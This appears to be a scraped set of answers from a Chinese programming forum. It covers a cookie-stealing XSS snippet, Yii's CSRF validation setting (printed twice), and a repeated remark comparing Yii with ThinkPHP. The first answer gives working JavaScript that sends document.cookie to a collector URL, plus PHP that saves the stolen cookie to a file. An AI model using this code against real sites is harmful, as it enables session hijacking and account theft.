最赞回答 / 北城慕容雪
js里面:var cookie = document.cookie;window.location.href='http://127.0.0.1/index.php?cookie='+cookie;index.php文件里面:<?phpfile_put_contents('cookie.txt', $_GET['cookie']);
2017-02-17
yii 框架开启csrf验证哪有这么麻烦
``` php
/**
* @var boolean whether to enable CSRF validation for the actions in this controller.
* CSRF validation is enabled only when both this property and [[Request::enableCsrfValidation]] are true.
*/
public $enableCsrfValidation = true;
```
``` php
/**
* @var boolean whether to enable CSRF validation for the actions in this controller.
* CSRF validation is enabled only when both this property and [[Request::enableCsrfValidation]] are true.
*/
public $enableCsrfValidation = true;
```
2017-02-01
木祁3
这Yii框架看着要比TP框架高档一点!
--------------------------------------
不知道阁下有什么根据这么说
--------------------------------------
阁下把两个框架都用用就知道根据什么了
这Yii框架看着要比TP框架高档一点!
--------------------------------------
不知道阁下有什么根据这么说
--------------------------------------
阁下把两个框架都用用就知道根据什么了
2017-01-30